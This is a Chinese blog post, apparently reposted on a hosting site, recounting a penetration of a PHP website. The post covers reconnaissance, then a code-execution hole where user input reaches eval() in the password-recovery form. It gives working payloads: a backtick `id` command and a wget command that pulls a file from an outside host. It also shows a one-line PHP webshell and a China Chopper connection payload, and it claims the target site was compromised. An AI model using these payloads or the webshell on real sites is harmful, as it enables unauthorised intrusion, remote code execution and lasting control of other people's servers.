鸿 网 互 联 www.68idc.cn

一次渗透录

来源:互联网 作者:佚名 时间:2016-05-07 10:05
0x1:信息网收集 curl header的获取 旁站的获取 根据小编的渗透经验大家可以用来参考; header获取 如图: 这里是centos 安装 curl yum install curl 自动安装 完成好 使用 curl -I url 命令对服务器信息进行初探 在此可看到 web应用服务 架构是 ubuntu php a
0x1:信息网收集
               curl header的获取 旁站的获取
 
               根据小编的渗透经验大家可以用来参考;
 
                header获取 如图:
 
              这里是centos 安装 curl yum install curl 自动安装 完成好 使用 curl -I url 命令对服务器信息进行初探
 
              在此可看到 web应用服务 架构是 ubuntu php apache 从cookie信息已经可以肯定web的程序是php
 
                
 
                ip反查:
 
                www.2cto.com ip:ip
 
                因考虑客户的安全防止破坏 在此以我们论坛的ip为例
 
                如图:
 
            
         
 
          端口收集 可以使用nmap工具等工具进行扫描,在此省略。
 
        0x2:漏洞发现
 
          漏洞扫描 ,大家使用wvs burpsuite等 假如网站不大 内容比较少且为php的是时候 我建议大家使用wvs 是一个不错的选择 。在多次的扫描中 我们发现在会员的取回密码处发现一代码执行漏洞。根据小编的习惯 对于截包发包工具 小编多使用burpsuite,因为burpsuite在所有工具中较为出色,打开ie设置代理 成功截包如图
        
 
       修改包进行测试 可以看到一串md5值
 
        
 
        已经确定是真实存在代码执行。这是可以使用
 
${@{print `id`}} ${@{print `wget -O test.pho  http://www.xinyuse.org/xx.txt`}}这里注意不是双引号是 ``是反引号。
进行各种命令操作 。遗憾的是本次测试虽然命令都可以成功执行 但是创建 修改 上传 webshell均失败 经过多次测试都未能如愿突破。
    0x3:菜刀突破
 
        细看漏洞的形成
 
 
 
01 //校验用户输入的数据 
02 function validate() 
03 {
04    $arrErrorMsg = array();                   //提示信息 
05    $errorMsgNo = 0;                          //提示信息编号 
06    $isize = count($this->arrCheckData)/4;    //校验条数 
07
08    //依次校验数据 
09    for ($i=0; $i < $isize; $i++) 
10    { 
11        $fieldId = $this->arrCheckData[$i*4];                  //表单字段Id 
12        $fields = explode(",", $this->arrCheckData[$i*4+1]);   //相关表单字段Id 
13        $method = $this->arrCheckData[$i*4+2];                 //校验方法 
14        $msg = $this->arrCheckData[$i*4+3];                    //校验失败的提示 
15         
16        $fieldsNum = count($fields)-1;                         //相关表单字段数量 
17        for ($j=$fieldsNum; $j >= 0; $j--) 
18        { 
19            $field = $fields[$j];                              //相关表单字段 
20            $rdata = "data"; 
21            if($j>0) 
22            { 
23                $rdata .= $j; 
24            } 
25             
26            $method = str_replace($rdata,"\"" . addslashes($_REQUEST[$field]) . "\"",$method); 
27        } 
28
29        if (substr($method, 0, 1) == "!") 
30        { 
31            $method = substr($method, 1); 
32            eval("\$b = !\$this->$method;"); 
33        } 
34        else
35        { 
36            eval("\$b = \$this->$method;"); 
37        }
 
 
              漏洞的形成是 eval 造成的 是从表单里面 获取值 然后使用addslashes进行过滤,可惜的是 根本没起到过滤作用 造成了漏洞的形成,代码执行时可以直接写shell的 但是用菜刀更为方便 于是在本地写了一段代码进行测试。
 
 
 
0x4 本地测试
 
1      
2 <?php 
3 error_reporting(E_ALL & ~E_NOTICE); 
4 $str="fuck you webshell $_POST[cmd]"; 
5 eval("\$str = \"$str\";"); 
6
7 ?> 
8 可以看到成功执行代码。
        
 
   0x5 菜刀连接分析:     一般我们使用我们的一句话木马是这样写的 所以可以直接使用菜刀直接连接 但是我们这里的场景是 一个post提交里面要
 
 
1 <?php @eval($_POST[cmd]);?>
 
再包含一个post或者get 菜刀也考虑到这一点 不得不说菜刀一款强大的网站管理工具,从菜刀的手册里面可以到看到
 
 
01 B) 其它方面: 
02    ----------------------------------------------------------------------------- 
03    添加额外附加提交的数据,如ASP的新服务端是这样的: 
04    <% 
05    Set o = Server.CreateObject("ScriptControl") 
06    o.language = "vbscript"
07    o.addcode(Request("SC")) 
08    o.run "ff",Server,Response,Request,Application,Session,Error 
09    %> 
10    那么,菜刀在配置处填入: 
11    <O>SC=function+ff(Server,Response,Request,Application,Session,Error):eval(request("pass")):end+function</O>
12    然后以密码pass来连接即可。
 
 
 
     使用<o></o>构造数据包:
 
    经过多次测试 再后得出的值是这样的的 如图:
 
 
1 cmd=${@eval($_POST[moon])};moon=${@phpinfo()}
 
 
 
 
那菜刀的连接 如图:
 
 
成功渗透目标网站:
 



 
 
0x5 总结
 
           此次本次渗透共花了小编两天时间,从发现到突破并不是一路顺风的、多多少少会有阻挠。
 
           再后一句:令学活用已有的知识很重要
网友评论
<